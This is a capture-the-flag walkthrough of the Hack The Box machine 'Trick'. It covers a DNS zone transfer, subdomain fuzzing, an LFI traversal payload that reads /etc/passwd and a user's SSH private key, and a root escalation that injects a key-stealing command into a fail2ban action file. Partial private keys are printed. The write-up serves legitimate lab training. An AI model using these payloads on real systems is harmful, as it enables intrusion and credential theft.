Walkthrough: Trick - Hack The Box

10 minute read

Trick Info Card

In this box, we enumerate a DNS server to find a subdomain. We then use the naming scheme from that subdomain to identify further subdomains. This leads us to a site with a Local File Inclusion vulnerability, which we exploit to obtain the SSH private key of a user. We the exploit fail2ban to escalate privileges.

Nmap

First, we’ll start by running nmap. We’re not under a time crunch here, so we’ll run a comprehensive scan using the -A, and -p- options. 10.10.11.166 was the IP address of the box when I completed it.

nmap -A -p- -T4 10.10.11.166
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 19:53 EDT
Nmap scan report for 10.10.11.166
Host is up (0.085s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 662.59 seconds

Foothold

There is a website attached to http://10.10.11.166, but it just appears to be a default template from bootstrap. Nothing interesting there. Instead, let’s take a look at the DNS server. If we run

nslookup

we can interact with the server (the lines that start with a > are the ones where we’re inputting information)

> SERVER 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 127.0.0.1
1.0.0.127.in-addr.arpa  name = localhost.
> 10.10.11.166
166.11.10.10.in-addr.arpa       name = trick.htb.

So now we can be pretty sure the domain we’re working with is trick.htb. Add to trick.htb to your /etc/hosts hosts file by running

sudo nano /etc/hosts

and then adding this to the end of the file

10.10.11.166    trick.htb

Next we can try to do a zone transfer to get some more information. Run

dig axfr trick.htb @10.10.11.166

This is what comes back

; <<>> DiG 9.18.4-2-Debian <<>> axfr trick.htb @10.10.11.166
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 307 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Sun Sep 25 18:38:07 EDT 2022
;; XFR size: 6 records (messages 1, bytes 231)

From this, we can see that there is a subdomain called preprod-payroll.trick.htb. There is a unique website tied to it, but first let’s see if we can find any additional sites first. Let’s search for other domains with that same preprod- prefix. We’ll use ffuf for this. Start by running

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: preprod-FUZZ.trick.htb" -u http://trick.htb

Note: you might need to install seclists first and it might install the wordlists to a different directory than the one I have in the command above. Make sure to use the right path for your wordlists

After seeing a few results, we can stop ffuf and filter out size=5480, since that’s likely just the same trick.htb site from earlier. Add -fs 5480 to the end of the command and start running it again.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: preprod-FUZZ.trick.htb" -u http://trick.htb -fs 5480

once it’s all done, we should get something like this back

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://trick.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: preprod-FUZZ.trick.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 5480
________________________________________________

marketing               [Status: 200, Size: 9660, Words: 3007, Lines: 179, Duration: 150ms]
:: Progress: [4989/4989] :: Job [1/1] :: 454 req/sec :: Duration: [0:00:12] :: Errors: 0 ::

Now we can add preprod-marketing.trick.htb to our /etc/hosts file right next to trick.htb. The final line in that file should now look something like this

10.10.11.166    trick.htb preprod-marketing.trick.htb

User

Going to this site, we can see that index.php is set up in an interesting way - when we click on the different sections of the page, it adds a parameter to the URL with the filename of the section it loads. This seems ripe for a Local File Inclusion (LFI) vulnerability. Let’s do some more fuzzing to see if one exists, and how we can exploit it. Start by running

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://preprod-marketing.trick.htb/index.php?page=FUZZ"

Again, after seeing a few results, we can stop the command and filter out size=0, like this

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://preprod-marketing.trick.htb/index.php?page=FUZZ" -fs 0

Running that command should return something like this


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://preprod-marketing.trick.htb/index.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 84ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 84ms]
[...]
....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 133ms]
....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 133ms]
:: Progress: [920/920] :: Job [1/1] :: 430 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

Based on the last line in these results, we can see that if we go if we go to http://preprod-marketing.trick.htb/index.php?page=….//….//….//etc/passwd, we actually get the /etc/passwd file back. It looks all jumbled up, but if we right-click on the page and select view source, It looks much nicer. Here it is

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash

The only users with a shell are michael and root.

Let’s see if michael has left their SSH private key on the server. We can check by going to http://preprod-marketing.trick.htb/index.php?page=….//….//….//home/michael/.ssh/id_rsa and hitting view source again. Something like this should come back.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
[...]
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Now if we copy this and save it onto our machine (I just called it id_rsa), we should be able to use it to log in.

First, we have to change the permissions on the key file

chmod 600 id_rsa

Then we can log in

ssh -i id_rsa micheal@trick.htb

From here, running

cat user.txt

gets us our first flag.

Root

Let’s start by running

sudo -l

Results:

Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

So we now know we can restart the fail2ban service. This is interesting.

Inspecting fail2ban

Let’s check out the fail2ban configuration:

cd /etc/fail2ban
ls -la 
total 76
drwxr-xr-x   6 root root      4096 Sep 26 03:18 .
drwxr-xr-x 126 root root     12288 Sep 26 01:15 ..
drwxrwx---   2 root security  4096 Sep 26 03:18 action.d
-rw-r--r--   1 root root      2334 Sep 26 03:18 fail2ban.conf
drwxr-xr-x   2 root root      4096 Sep 26 03:18 fail2ban.d
drwxr-xr-x   3 root root      4096 Sep 26 03:18 filter.d
-rw-r--r--   1 root root     22908 Sep 26 03:18 jail.conf
drwxr-xr-x   2 root root      4096 Sep 26 03:18 jail.d
-rw-r--r--   1 root root       645 Sep 26 03:18 paths-arch.conf
-rw-r--r--   1 root root      2827 Sep 26 03:18 paths-common.conf
-rw-r--r--   1 root root       573 Sep 26 03:18 paths-debian.conf
-rw-r--r--   1 root root       738 Sep 26 03:18 paths-opensuse.conf

Running groups shows us that we are in fact part of the security group, so we can write to the action.d folder.

Now we’ll just peruse around the fail2ban directory a bit. These are some interesting sections:

The jail.d directory only has one jail in it, which is defaults_debian.conf. The all that file has in it is this:

[sshd]
enabled = true

Looking through jail.conf we can see that there are a bunch of defaults that are set. We can see that the default number of retries before a ban is 5 and the default ban actions are:

# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport
banaction_allports = iptables-allports

So, all we have to do is add any command that we want fail2ban to execute to one of those files and then trigger a ban.

Setting up and running the exploit

This box seems to overwrite all of the fail2ban files every minute or so, so we need to act fast to get all this to work. This means we need to do some setup. We’ll start with setting up our own copy of the iptables-multiport.conf file

cd /tmp
cp /etc/fail2ban/action.d/iptables-multiport.conf .
nano /tmp/iptables-multiport.conf

We’ll repeat the same trick from earlier and try to get the root SSH private key. Add cat /root/.ssh/id_rsa > /tmp/test && chmod 777 /tmp/test to the actionban section, like this

[INCLUDES]

before = iptables-common.conf

[Definition]

# Option:  actionstart
# Notes.:  command executed once at the start of Fail2Ban.
# Values:  CMD
#
actionstart = <iptables> -N f2b-<name>
              <iptables> -A f2b-<name> -j <returntype>
              <iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>

# Option:  actionstop
# Notes.:  command executed once at the end of Fail2Ban
# Values:  CMD
#
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
             <actionflush>
             <iptables> -X f2b-<name>

# Option:  actioncheck
# Notes.:  command executed once before each actionban command
# Values:  CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = cat /root/.ssh/id_rsa > /tmp/test && chmod 777 /tmp/test
            <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>

# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

[Init]

Now we can overwrite the iptables-multiport.conf file with our own and then restart the fail2ban service to have it load in our configuration.

rm /etc/fail2ban/action.d/iptables-multiport.conf -f
cp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
sudo /etc/init.d/fail2ban restart

Since the sshd jail is the only one running, we need to fail ssh authentications to trigger it. To do this, just run the below 6 or 7 times on your local machine (just provide blank passwords to fail as quickly as possible):

ssh root@10.10.11.166

Now i we run this in our SSH session

cat /tmp/test

we should get something like this back

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
[...]
7VT/uoy+BKbanLzM809KCnuLCM7LDISk4N/S79xiuFlrk11MrV2qaxZANiYEkOd1jKRGPi
UDRYRn2lPX7WiLyrGQAAAApyb290QHRyaWNrAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----

Now just save this to your local machine (I called mine root_id_rsa), run the same chmod command as earlier, and log in using ssh and the private key, like this

ssh -i root_id_rsa root@10.10.166

now if you run

cat root.txt

you’ll get the root flag!

Updated: